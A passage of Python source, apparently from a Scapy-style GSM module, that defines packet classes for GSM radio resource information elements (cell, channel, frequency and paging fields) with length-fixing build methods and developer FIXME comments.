None, 5), BitField("r48HiHp", None, 3), ByteField("r48HiLp", None), ByteField("r49LoHp", None), BitField("r49LoLp", None, 5), BitField("r49HiHp", None, 3), ByteField("r49HiLp", None), ByteField("r50LoHp", None), BitField("r50LoLp", None, 5), BitField("r50HiHp", None, 3), ByteField("r50HiLp", None), ByteField("r51LoHp", None), BitField("r51LoLp", None, 5), BitField("r51HiHp", None, 3), ByteField("r51HiLp", None), ByteField("r52LoHp", None), BitField("r52LoLp", None, 5), BitField("r52HiHp", None, 3), ByteField("r52HiLp", None), ByteField("r53LoHp", None), BitField("r53LoLp", None, 5), BitField("r53HiHp", None, 3), ByteField("r53HiLp", None), ByteField("r54LoHp", None), BitField("r54LoLp", None, 5), BitField("r54HiHp", None, 3), ByteField("r54HiLp", None), ByteField("r55LoHp", None), BitField("r55LoLp", None, 5), BitField("r55HiHp", None, 3), ByteField("r55HiLp", None), ByteField("r56LoHp", None), BitField("r56LoLp", None, 5), BitField("r56HiHp", None, 3), ByteField("r56HiLp", None), ByteField("r57LoHp", None), BitField("r57LoLp", None, 5), BitField("r57HiHp", None, 3), ByteField("r57HiLp", None), ByteField("r58LoHp", None), BitField("r58LoLp", None, 5), BitField("r58HiHp", None, 3), ByteField("r58HiLp", None), ByteField("r59LoHp", None), BitField("r59LoLp", None, 5), BitField("r59HiHp", None, 3), ByteField("r59HiLp", None), ByteField("r60LoHp", None), BitField("r60LoLp", None, 5), BitField("r60HiHp", None, 3), ByteField("r60HiLp", None), ByteField("r61LoHp", None), BitField("r61LoLp", None, 5), BitField("r61HiHp", None, 3), ByteField("r61HiLp", None), ByteField("r62LoHp", None), BitField("r62LoLp", None, 5), BitField("r62HiHp", None, 3), ByteField("r62HiLp", None), ByteField("r63LoHp", None), BitField("r63LoLp", None, 5), BitField("r63HiHp", None, 3), ByteField("r63HiLp", None), ByteField("r64LoHp", None), BitField("r64LoLp", None, 5), BitField("r64HiHp", None, 3), ByteField("r64HiLp", None), ByteField("r65LoHp", None), BitField("r65LoLp", None, 5), BitField("r65HiHp", None, 3), ByteField("r65HiLp", None), ByteField("r66LoHp", None), BitField("r66LoLp", None, 5), BitField("r66HiHp", None, 3), ByteField("r66HiLp", None), ByteField("r67LoHp", None), BitField("r67LoLp", None, 5), BitField("r67HiHp", None, 3), ByteField("r67HiLp", None), ByteField("r68LoHp", None), BitField("r68LoLp", None, 5), BitField("r68HiHp", None, 3), ByteField("r68HiLp", None), ByteField("r69LoHp", None), BitField("r69LoLp", None, 5), BitField("r69HiHp", None, 3), ByteField("r69HiLp", None), ByteField("r70LoHp", None), BitField("r70LoLp", None, 5), BitField("r70HiHp", None, 3), ByteField("r70HiLp", None), ByteField("r71LoHp", None), BitField("r71LoLp", None, 5), BitField("r71HiHp", None, 3), ByteField("r71HiLp", None), ByteField("r72LoHp", None), BitField("r72LoLp", None, 5), BitField("r72HiHp", None, 3), ByteField("r72HiLp", None), ByteField("r73LoHp", None), BitField("r73LoLp", None, 5), BitField("r73HiHp", None, 3), ByteField("r73HiLp", None), ByteField("r74LoHp", None), BitField("r74LoLp", None, 5), BitField("r74HiHp", None, 3), ByteField("r74HiLp", None), ByteField("r75LoHp", None), BitField("r75LoLp", None, 5), BitField("r75HiHp", None, 3), ByteField("r75HiLp", None), ByteField("r76LoHp", None), BitField("r76LoLp", None, 5), BitField("r76HiHp", None, 3), ByteField("r76HiLp", None), ByteField("r77LoHp", None), BitField("r77LoLp", None, 5), BitField("r77HiHp", None, 3), ByteField("r77HiLp", None), ByteField("r78LoHp", None), BitField("r78LoLp", None, 5), BitField("r78HiHp", None, 3), ByteField("r78HiLp", None), ByteField("r79LoHp", None), BitField("r79LoLp", None, 5), BitField("r79HiHp", None, 3), ByteField("r79HiLp", None), ByteField("r80LoHp", None), BitField("r80LoLp", None, 5), BitField("r80HiHp", None, 3), ByteField("r80HiLp", None), ByteField("r81LoHp", None), BitField("r81LoLp", None, 5), BitField("r81HiHp", None, 3), ByteField("r81HiLp", None), ByteField("r82LoHp", None), BitField("r82LoLp", None, 5), BitField("r82HiHp", None, 3), ByteField("r82HiLp", None), ByteField("r83LoHp", None), BitField("r83LoLp", None, 5), BitField("r83HiHp", None, 3), ByteField("r83HiLp", None), ByteField("r84LoHp", None), BitField("r84LoLp", None, 5), BitField("r84HiHp", None, 3), ByteField("r84HiLp", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): print("i is %s" % (i,)) aList.append(self.fields_desc[i].name) print("aList %s" % (len(aList))) print("self.fields_desc %s" % (len(self.fields_desc))) for i in aList: a.append(getattr(self, i)) res = adapt(6, 251, a, self.fields_desc) if self.lengthBR is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 3 to max for L3 message (251) class BaListPrefHdr(Packet): """ BA List Pref Section 10.5.2.1c """ name = "BA List Pref" fields_desc = [ # FIXME dynamic BitField("eightBitBLP", None, 1), XBitField("ieiBLP", None, 7), XByteField("lengthBLP", None), BitField("fixBit", 0x0, 1), BitField("rangeLower", 0x0, 10), BitField("fixBit2", 0x0, 1), BitField("rangeUpper", 0x0, 10), BitField("baFreq", 0x0, 10), BitField("sparePad", 0x0, 8) ] # len 17 || Have a look at the specs for the field format # Bit map 0 format # Range 1024 format # Range 512 format # Range 256 format # Range 128 format # Variable bit map format class CellChannelDescriptionHdr(Packet): """ Cell Channel Description Section 10.5.2.1b """ name = "Cell Channel Description " fields_desc = [ BitField("eightBitCCD", None, 1), XBitField("ieiCCD", None, 7), BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), ByteField("bit120", 0x0), ByteField("bit112", 0x0), ByteField("bit104", 0x0), ByteField("bit96", 0x0), ByteField("bit88", 0x0), ByteField("bit80", 0x0), ByteField("bit72", 0x0), ByteField("bit64", 0x0), ByteField("bit56", 0x0), ByteField("bit48", 0x0), ByteField("bit40", 0x0), ByteField("bit32", 0x0), ByteField("bit24", 0x0), ByteField("bit16", 0x0), ByteField("bit8", 0x0) ] class CellDescriptionHdr(Packet): """ Cell Description Section 10.5.2.2 """ name = "Cell Description" fields_desc = [ BitField("eightBitCD", None, 1), XBitField("ieiCD", None, 7), BitField("bcchHigh", 0x0, 2), BitField("ncc", 0x0, 3), BitField("bcc", 0x0, 3), ByteField("bcchLow", 0x0) ] class CellOptionsBCCHHdr(Packet): """ Cell Options (BCCH) Section 10.5.2.3 """ name = "Cell Options (BCCH)" fields_desc = [ BitField("eightBitCOB", None, 1), XBitField("ieiCOB", None, 7), BitField("spare", 0x0, 1), BitField("pwrc", 0x0, 1), BitField("dtx", 0x0, 2), BitField("rLinkTout", 0x0, 4) ] class CellOptionsSACCHHdr(Packet): """ Cell Options (SACCH) Section 10.5.2.3a """ name = "Cell Options (SACCH)" fields_desc = [ BitField("eightBitCOS", None, 1), XBitField("ieiCOS", None, 7), BitField("dtx", 0x0, 1), BitField("pwrc", 0x0, 1), BitField("dtx", 0x0, 1), BitField("rLinkTout", 0x0, 4) ] class CellSelectionParametersHdr(Packet): """ Cell Selection Parameters Section 10.5.2.4 """ name = "Cell Selection Parameters" fields_desc = [ BitField("eightBitCSP", None, 1), XBitField("ieiCSP", None, 7), BitField("cellReselect", 0x0, 3), BitField("msTxPwrMax", 0x0, 5), BitField("acs", None, 1), BitField("neci", None, 1), BitField("rxlenAccMin", None, 6) ] class MacModeAndChannelCodingRequestHdr(Packet): """ MAC Mode and Channel Coding Requested Section 10.5.2.4a """ name = "MAC Mode and Channel Coding Requested" fields_desc = [ XBitField("ieiMMACCR", None, 4), BitField("macMode", 0x0, 2), BitField("cs", 0x0, 2) ] class ChannelDescriptionHdr(Packet): """ Channel Description Section 10.5.2.5 """ name = "Channel Description" fields_desc = [ BitField("eightBitCD", None, 1), XBitField("ieiCD", None, 7), BitField("channelTyp", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x1, 1), # if h=1 maybe we find a better solution here... BitField("maioHi", 0x0, 4), BitField("maioLo", 0x0, 2), BitField("hsn", 0x0, 6) #BitField("spare", 0x0, 2), #BitField("arfcnHigh", 0x0, 2), #ByteField("arfcnLow", 0x0) ] class ChannelDescription2Hdr(Packet): """ Channel Description 2 Section 10.5.2.5a """ name = "Channel Description 2" fields_desc = [ BitField("eightBitCD2", None, 1), XBitField("ieiCD2", None, 7), BitField("channelTyp", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x0, 1), # if h=1 # BitField("maioHi", 0x0, 4), # BitField("maioLo", 0x0, 2), # BitField("hsn", 0x0, 6) BitField("spare", 0x0, 2), BitField("arfcnHigh", 0x0, 2), ByteField("arfcnLow", 0x0) ] class ChannelModeHdr(Packet): """ Channel Mode Section 10.5.2.6 """ name = "Channel Mode" fields_desc = [ BitField("eightBitCM", None, 1), XBitField("ieiCM", None, 7), ByteField("mode", 0x0) ] class ChannelMode2Hdr(Packet): """ Channel Mode 2 Section 10.5.2.7 """ name = "Channel Mode 2" fields_desc = [ BitField("eightBitCM2", None, 1), XBitField("ieiCM2", None, 7), ByteField("mode", 0x0) ] class ChannelNeededHdr(Packet): """ Channel Needed Section 10.5.2.8 """ name = "Channel Needed" fields_desc = [ XBitField("ieiCN", None, 4), BitField("channel2", 0x0, 2), BitField("channel1", 0x0, 2), ] class ChannelRequestDescriptionHdr(Packet): """Channel Request Description Section 10.5.2.8a """ name = "Channel Request Description" fields_desc = [ BitField("eightBitCRD", None, 1), XBitField("ieiCRD", None, 7), BitField("mt", 0x0, 1), ConditionalField(BitField("spare", 0x0, 39), lambda pkt: pkt.mt == 0), ConditionalField(BitField("spare", 0x0, 3), lambda pkt: pkt.mt == 1), ConditionalField(BitField("priority", 0x0, 2), lambda pkt: pkt.mt == 1), ConditionalField(BitField("rlcMode", 0x0, 1), lambda pkt: pkt.mt == 1), ConditionalField(BitField("llcFrame", 0x1, 1), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("reqBandMsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("reqBandLsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("rlcMsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("rlcLsb", 0x0), lambda pkt: pkt.mt == 1) ] class CipherModeSettingHdr(Packet): """Cipher Mode Setting Section 10.5.2.9 """ name = "Cipher Mode Setting" fields_desc = [ XBitField("ieiCMS", None, 4), BitField("algoId", 0x0, 3), BitField("sc", 0x0, 1), ] class CipherResponseHdr(Packet): """Cipher Response Section 10.5.2.10 """ name = "Cipher Response" fields_desc = [ XBitField("ieiCR", None, 4), BitField("spare", 0x0, 3), BitField("cr", 0x0, 1), ] # This packet fixes the problem with the 1/2 Byte length. Concatenation # of cipherModeSetting and cipherResponse class CipherModeSettingAndcipherResponse(Packet): name = "Cipher Mode Setting And Cipher Response" fields_desc = [ BitField("algoId", 0x0, 3), BitField("sc", 0x0, 1), BitField("spare", 0x0, 3), BitField("cr", 0x0, 1) ] class ControlChannelDescriptionHdr(Packet): """Control Channel Description Section 10.5.2.11 """ name = "Control Channel Description" fields_desc = [ BitField("eightBitCCD", None, 1), XBitField("ieiCCD", None, 7), BitField("spare", 0x0, 1), BitField("att", 0x0, 1), BitField("bsAgBlksRes", 0x0, 3), BitField("ccchConf", 0x0, 3), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1), BitField("bsPaMfrms", 0x0, 3), ByteField("t3212", 0x0) ] class FrequencyChannelSequenceHdr(Packet): """Frequency Channel Sequence Section 10.5.2.12""" name = "Frequency Channel Sequence" fields_desc = [ BitField("eightBitFCS", None, 1), XBitField("ieiFCS", None, 7), BitField("spare", 0x0, 1), BitField("lowestArfcn", 0x0, 7), BitField("skipArfcn01", 0x0, 4), BitField("skipArfcn02", 0x0, 4), BitField("skipArfcn03", 0x0, 4), BitField("skipArfcn04", 0x0, 4), BitField("skipArfcn05", 0x0, 4), BitField("skipArfcn06", 0x0, 4), BitField("skipArfcn07", 0x0, 4), BitField("skipArfcn08", 0x0, 4), BitField("skipArfcn09", 0x0, 4), BitField("skipArfcn10", 0x0, 4), BitField("skipArfcn11", 0x0, 4), BitField("skipArfcn12", 0x0, 4), BitField("skipArfcn13", 0x0, 4), BitField("skipArfcn14", 0x0, 4), BitField("skipArfcn15", 0x0, 4), BitField("skipArfcn16", 0x0, 4) ] class FrequencyListHdr(Packet): """Frequency List Section 10.5.2.13""" name = "Frequency List" # Problem: # There are several formats for the Frequency List information # element, distinguished by the "format indicator" subfield. # Some formats are frequency bit maps, the others use a special encoding # scheme. fields_desc = [ BitField("eightBitFL", None, 1), XBitField("ieiFL", None, 7), XByteField("lengthFL", None), BitField("formatID", 0x0, 2), BitField("spare", 0x0, 2), BitField("arfcn124", 0x0, 1), BitField("arfcn123", 0x0, 1), BitField("arfcn122", 0x0, 1), BitField("arfcn121", 0x0, 1), ByteField("arfcn120", 0x0), ByteField("arfcn112", 0x0), ByteField("arfcn104", 0x0), ByteField("arfcn96", 0x0), ByteField("arfcn88", 0x0), ByteField("arfcn80", 0x0), ByteField("arfcn72", 0x0), ByteField("arfcn64", 0x0), ByteField("arfcn56", 0x0), ByteField("arfcn48", 0x0), ByteField("arfcn40", 0x0), ByteField("arfcn32", 0x0), ByteField("arfcn24", 0x0), ByteField("arfcn16", 0x0), ByteField("arfcn8", 0x0) ] class FrequencyShortListHdr(Packet): """Frequency Short List Section 10.5.2.14""" name = "Frequency Short List" # len is 10 #This element is encoded exactly as the Frequency List information element, #except that it has a fixed length instead of a #variable length and does not contain a length indicator and that it #shall not be encoded in bitmap 0 format. fields_desc = [ ByteField("ieiFSL", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0) ] class FrequencyShortListHdr2(Packet): """Frequency Short List2 Section 10.5.2.14a""" name = "Frequency Short List 2" fields_desc = [ ByteField("byte1", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0) ] # len 4 to 13 class GroupChannelDescriptionHdr(Packet): """Group Channel Description Section 10.5.2.14b""" name = "Group Channel Description" fields_desc = [ BitField("eightBitGCD", None, 1), XBitField("ieiGCD", None, 7), XByteField("lengthGCD", None), BitField("channelType", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x0, 1), # if h == 0 the packet looks the following way: ConditionalField(BitField("spare", 0x0, 2), lambda pkt: pkt. h == 0x0), ConditionalField(BitField("arfcnHi", 0x0, 2), lambda pkt: pkt. h == 0x0), ConditionalField(ByteField("arfcnLo", None), lambda pkt: pkt. h == 0x0), # if h == 1 the packet looks the following way: ConditionalField(BitField("maioHi", 0x0, 4), lambda pkt: pkt. h == 0x1), ConditionalField(BitField("maioLo", None, 2), lambda pkt: pkt. h == 0x1), ConditionalField(BitField("hsn", None, 6), lambda pkt: pkt. h == 0x1), # finished with conditional fields ByteField("maC6", None), ByteField("maC7", None), ByteField("maC8", None), ByteField("maC9", None), ByteField("maC10", None), ByteField("maC11", None), ByteField("maC12", None), ByteField("maC13", None), ByteField("maC14", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(4, 13, a, self.fields_desc) if self.lengthGCD is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class GprsResumptionHdr(Packet): """GPRS Resumption Section 10.5.2.14c""" name = "GPRS Resumption" fields_desc = [ XBitField("ieiGR", None, 4), BitField("spare", 0x0, 3), BitField("ack", 0x0, 1) ] class HandoverReferenceHdr(Packet): """Handover Reference Section 10.5.2.15""" name = "Handover Reference" fields_desc = [ BitField("eightBitHR", None, 1), XBitField("ieiHR", None, 7), ByteField("handoverRef", 0x0) ] # len 1-12 class IaRestOctets(Packet): """IA Rest Octets Section 10.5.2.16""" name = "IA Rest Octets" fields_desc = [ ByteField("ieiIRO", 0x0), # FIXME brainfuck packet XByteField("lengthIRO", None), ByteField("byte2", None), ByteField("byte3", None), ByteField("byte4", None), ByteField("byte5", None), ByteField("byte6", None), ByteField("byte7", None), ByteField("byte8", None), ByteField("byte9", None), ByteField("byte10", None), ByteField("byte11", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(1, 12, a, self.fields_desc) if self.lengthIRO is None: if res[1] < 0: # FIXME better fix res[1] = 0 p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class IraRestOctetsHdr(Packet): """IAR Rest Octets Section 10.5.2.17""" name = "IAR Rest Octets" fields_desc = [ BitField("eightBitIRO", None, 1), XBitField("ieiIRO", None, 7), BitField("spare01", 0x0, 1), BitField("spare02", 0x0, 1), BitField("spare03", 0x1, 1), BitField("spare04", 0x0, 1), BitField("spare05", 0x1, 1), BitField("spare06", 0x0, 1), BitField("spare07", 0x1, 1), BitField("spare08", 0x1, 1), BitField("spare09", 0x0, 1), BitField("spare10", 0x0, 1), BitField("spare11", 0x1, 1), BitField("spare12", 0x0, 1), BitField("spare13", 0x1, 1), BitField("spare14", 0x0, 1), BitField("spare15", 0x1, 1), BitField("spare16", 0x1, 1), BitField("spare17", 0x0, 1), BitField("spare18", 0x0, 1), BitField("spare19", 0x1, 1), BitField("spare20", 0x0, 1), BitField("spare21", 0x1, 1), BitField("spare22", 0x0, 1), BitField("spare23", 0x1, 1), BitField("spare24", 0x1, 1) ] # len is 1 to 5 what do we do with the variable size? no lenght # field?! WTF class IaxRestOctetsHdr(Packet): """IAX Rest Octets Section 10.5.2.18""" name = "IAX Rest Octets" fields_desc = [ BitField("eightBitIRO", None, 1), XBitField("ieiIRO", None, 7), BitField("spare01", 0x0, 1), BitField("spare02", 0x0, 1), BitField("spare03", 0x1, 1), BitField("spare04", 0x0, 1), BitField("spare05", 0x1, 1), BitField("spare06", 0x0, 1), BitField("spare07", 0x1, 1), BitField("spare08", 0x1, 1), ByteField("spareB1", None), ByteField("spareB2", None), ByteField("spareB3", None) ] class L2PseudoLengthHdr(Packet): """L2 Pseudo Length Section 10.5.2.19""" name = "L2 Pseudo Length" fields_desc = [ BitField("eightBitPL", None, 1), XBitField("ieiPL", None, 7), BitField("l2pLength", None, 6), BitField("bit2", 0x0, 1), BitField("bit1", 0x1, 1) ] class MeasurementResultsHdr(Packet): """Measurement Results Section 10.5.2.20""" name = "Measurement Results" fields_desc = [ BitField("eightBitMR", None, 1), XBitField("ieiMR", None, 7), BitField("baUsed", 0x0, 1), BitField("dtxUsed", 0x0, 1), BitField("rxLevFull", 0x0, 6), BitField("spare", 0x0, 1), BitField("measValid", 0x0, 1), BitField("rxLevSub", 0x0, 6), BitField("spare0", 0x0, 1), BitField("rxqualFull", 0x0, 3), BitField("rxqualSub", 0x0, 3), BitField("noNcellHi", 0x0, 1), BitField("noNcellLo", 0x0, 2), BitField("rxlevC1", 0x0, 6), BitField("bcchC1", 0x0, 5), BitField("bsicC1Hi", 0x0, 3), BitField("bsicC1Lo", 0x0, 3), BitField("rxlevC2", 0x0, 5), BitField("rxlevC2Lo", 0x0, 1), BitField("bcchC2", 0x0, 5), BitField("bsicC1Hi", 0x0, 2), BitField("bscicC2Lo", 0x0, 4), BitField("bscicC2Hi", 0x0, 4), BitField("rxlevC3Lo", 0x0, 2), BitField("bcchC3", 0x0, 5), BitField("rxlevC3Hi", 0x0, 1), BitField("bsicC3Lo", 0x0, 5), BitField("bsicC3Hi", 0x0, 3), BitField("rxlevC4Lo", 0x0, 3), BitField("bcchC4", 0x0, 5), BitField("bsicC4", 0x0, 6), BitField("rxlevC5Hi", 0x0, 2), BitField("rxlevC5Lo", 0x0, 4), BitField("bcchC5Hi", 0x0, 4), BitField("bcchC5Lo", 0x0, 1), BitField("bsicC5", 0x0, 6), BitField("rxlevC6", 0x0, 1), BitField("rxlevC6Lo", 0x0, 5), BitField("bcchC6Hi", 0x0, 3), BitField("bcchC6Lo", 0x0, 3), BitField("bsicC6", 0x0, 5) ] class GprsMeasurementResultsHdr(Packet): """GPRS Measurement Results Section 10.5.2.20a""" name = "GPRS Measurement Results" fields_desc = [ BitField("eightBitGMR", None, 1), XBitField("ieiGMR", None, 7), BitField("cValue", 0x0, 6), BitField("rxqualHi", 0x0, 2), BitField("rxqL", 0x0, 1), BitField("spare", 0x0, 1), BitField("signVar", 0x0, 6) ] # len 3 to 10 class MobileAllocationHdr(Packet): """Mobile Allocation Section 10.5.2.21""" name = "Mobile Allocation" fields_desc = [ BitField("eightBitMA", None, 1), XBitField("ieiMA", None, 7), XByteField("lengthMA", None), ByteField("maC64", 0x12), ByteField("maC56", None), # optional fields start here ByteField("maC48", None), ByteField("maC40", None), ByteField("maC32", None), ByteField("maC24", None), ByteField("maC16", None), ByteField("maC8", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 10, a, self.fields_desc) if self.lengthMA is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class MobileTimeDifferenceHdr(Packet): """Mobile Time Difference Section 10.5.2.21a""" name = "Mobile Time Difference" fields_desc = [ BitField("eightBitMTD", None, 1), XBitField("ieiMTD", None, 7), XByteField("lengthMTD", 0x5), ByteField("valueHi", 0x0), ByteField("valueCnt", 0x0), BitField("valueLow", 0x0, 5), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1) ] # min 4 octets max 8 class MultiRateConfigurationHdr(Packet): """ MultiRate configuration Section 10.5.2.21aa""" name = "MultiRate Configuration" fields_desc = [ BitField("eightBitMRC", None, 1), XBitField("ieiMRC", None, 7), XByteField("lengthMRC", None), BitField("mrVersion", 0x0, 3), BitField("spare", 0x0, 1), BitField("icmi", 0x0, 1), BitField("spare", 0x0, 1), BitField("startMode", 0x0, 2), ByteField("amrCodec", 0x0), BitField("spare", None, 2), BitField("threshold1", None, 6), BitField("hysteresis1", None, 4), BitField("threshold2", None, 4), BitField("threshold2cnt", None, 2), BitField("hysteresis2", None, 4), BitField("threshold3", None, 2), BitField("threshold3cnt", None, 4), BitField("hysteresis3", None, 4) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(4, 8, a, self.fields_desc) if self.lengthMRC is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 3 to 12 class MultislotAllocationHdr(Packet): """Multislot Allocation Section 10.5.2.21b""" name = "Multislot Allocation" fields_desc = [ BitField("eightBitMSA", None, 1), XBitField("ieiMSA", None, 7), XByteField("lengthMSA", None), BitField("ext0", 0x1, 1), BitField("da", 0x0, 7), ConditionalField(BitField("ext1", 0x1, 1), # optional lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("ua", 0x0, 7), lambda pkt: pkt.ext0 == 0), ByteField("chan1", None), ByteField("chan2", None), ByteField("chan3", None), ByteField("chan4", None), ByteField("chan5", None), ByteField("chan6", None), ByteField("chan7", None), ByteField("chan8", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 12, a, self.fields_desc) if res[0] is not 0: p = p[:-res[0]] if self.lengthMSA is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay class NcModeHdr(Packet): """NC mode Section 10.5.2.21c""" name = "NC Mode" fields_desc = [ XBitField("ieiNM", None, 4), BitField("spare", 0x0, 2), BitField("ncMode", 0x0, 2) ] # Fix for len problem # concatenation NC Mode And Spare Half Octets class NcModeAndSpareHalfOctets(Packet): name = "NC Mode And Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 2), BitField("ncMode", 0x0, 2), BitField("spareHalfOctets", 0x0, 4) ] class NeighbourCellsDescriptionHdr(Packet): """Neighbour Cells Description Section 10.5.2.22""" name = "Neighbour Cells Description" fields_desc = [ BitField("eightBitNCD", None, 1), XBitField("ieiNCD", None, 7), BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("extInd", 0x0, 1), BitField("baInd", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("120bits", 0x0, 120) ] class NeighbourCellsDescription2Hdr(Packet): """Neighbour Cells Description 2 Section 10.5.2.22a""" name = "Neighbour Cells Description 2" fields_desc = [ BitField("eightBitNCD2", None, 1), XBitField("ieiNCD2", None, 7), BitField("bit128", 0x0, 1), BitField("multiband", 0x0, 2), BitField("baInd", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("120bits", 0x0, 120) ] class NtNRestOctets(Packet): """NT/N Rest Octets Section 10.5.2.22c""" name = "NT/N Rest Octets" fields_desc = [ BitField("nln", 0x0, 2), BitField("ncnInfo", 0x0, 4), BitField("spare", 0x0, 2) ] # # The following packet has no length info! # # len 1-18 class P1RestOctets(Packet): """P1 Rest Octets Section 10.5.2.23""" name = "P1 Rest Octets" fields_desc = [ BitField("nln", 0x0, 2), BitField("nlnStatus", 0x0, 1), BitField("prio1", 0x0, 3), BitField("prio2", 0x0, 3), # optional BitField("pageIndication1", 0x0, 1), BitField("pageIndication2", 0x0, 1), BitField("spare", 0x0, 5), ByteField("spareB1", None), ByteField("spareB2", None), ByteField("spareB3", None), ByteField("spareB4", None), ByteField("spareB5", None), ByteField("spareB6", None), ByteField("spareB7", None), ByteField("spareB8", None), ByteField("spareB9", None), ByteField("spareB10", None), ByteField("spareB11", None), ByteField("spareB12", None), ByteField("spareB13", None), ByteField("spareB14", None), ByteField("spareB15", None), ByteField("spareB16", None), ] # len 2-12 class P2RestOctets(Packet): """P2 Rest Octets Section 10.5.2.24""" name = "P2 Rest Octets" fields_desc = [ BitField("cn3", 0x0, 2), BitField("nln", 0x0, 2), BitField("nlnStatus", 0x0, 1), BitField("prio1", 0x0, 3), BitField("prio2", 0x0, 3), BitField("prio3", 0x0, 3), BitField("pageIndication3", 0x0, 1), BitField("spare", 0x0, 1), # optinal (No length field!) ByteField("spareB1", None), ByteField("spareB2", None), ByteField("spareB3", None), ByteField("spareB4", None), ByteField("spareB5", None), ByteField("spareB6", None), ByteField("spareB7", None), ByteField("spareB8", None), ByteField("spareB9", None), ByteField("spareB10", None) ] # len 4 class P3RestOctets(Packet): """P3 Rest Octets Section 10.5.2.25""" name = "P3 Rest Octets" fields_desc = [ BitField("cn3", 0x0, 2), BitField("cn4", 0x0, 2), BitField("nln", 0x0, 2), BitField("nlnStatus", 0x0, 1), BitField("prio1", 0x0, 3), BitField("prio2", 0x0, 3), BitField("prio3", 0x0, 3), BitField("prio4", 0x0, 3), BitField("spare", 0x0, 5) ] # len 4 # strange packet, lots of valid formats # ideas for the dynamic packets: # 1] for user interaction: Create an interactive "builder" based on a # Q/A process (not very scapy like) # 2] for usage in scripts, create an alternative packet for every # possible packet layout # class PacketChannelDescription(Packet): """Packet Channel Description Section 10.5.2.25a""" name = "Packet Channel Description" fields_desc = [ ByteField("ieiPCD", None), BitField("chanType", 0x0, 5), # This packet has multiple # possible layouts. I moddeled the first one BitField("tn", 0x0, 3), # maybe build an #"interactive" builder. Like # a Q/A then propose a # packet? BitField("tsc", 0x0, 3), BitField("chooser1", 0x0, 1), BitField("chooser2", 0x0, 1), BitField("spare1", 0x0, 1), BitField("arfcn", 0x0, 10), ] class DedicatedModeOrTBFHdr(Packet): """Dedicated mode or TBF Section 10.5.2.25b""" name = "Dedicated Mode or TBF" fields_desc = [ XBitField("ieiDMOT", None, 4), BitField("spare", 0x0, 1), BitField("tma", 0x0, 1), BitField("downlink", 0x0, 1), BitField("td", 0x0, 1) ] # FIXME add implementation class RrPacketUplinkAssignment(Packet): """RR Packet Uplink Assignment Section 10.5.2.25c""" name = "RR Packet Uplink Assignment" fields_desc = [ # Fill me ] class PageModeHdr(Packet): """Page Mode Section 10.5.2.26""" name = "Page Mode" fields_desc = [ XBitField("ieiPM", None, 4), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2) ] # Fix for 1/2 len problem # concatenation: pageMode and dedicatedModeOrTBF class PageModeAndDedicatedModeOrTBF(Packet): name = "Page Mode and Dedicated Mode Or TBF" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2), BitField("spare", 0x0, 1), BitField("tma", 0x0, 1), BitField("downlink", 0x0, 1), BitField("td", 0x0, 1) ] # Fix for 1/2 len problem # concatenation: pageMode and spareHalfOctets class PageModeAndSpareHalfOctets(Packet): name = "Page Mode and Spare Half Octets" fields_desc = [ BitField("spare", 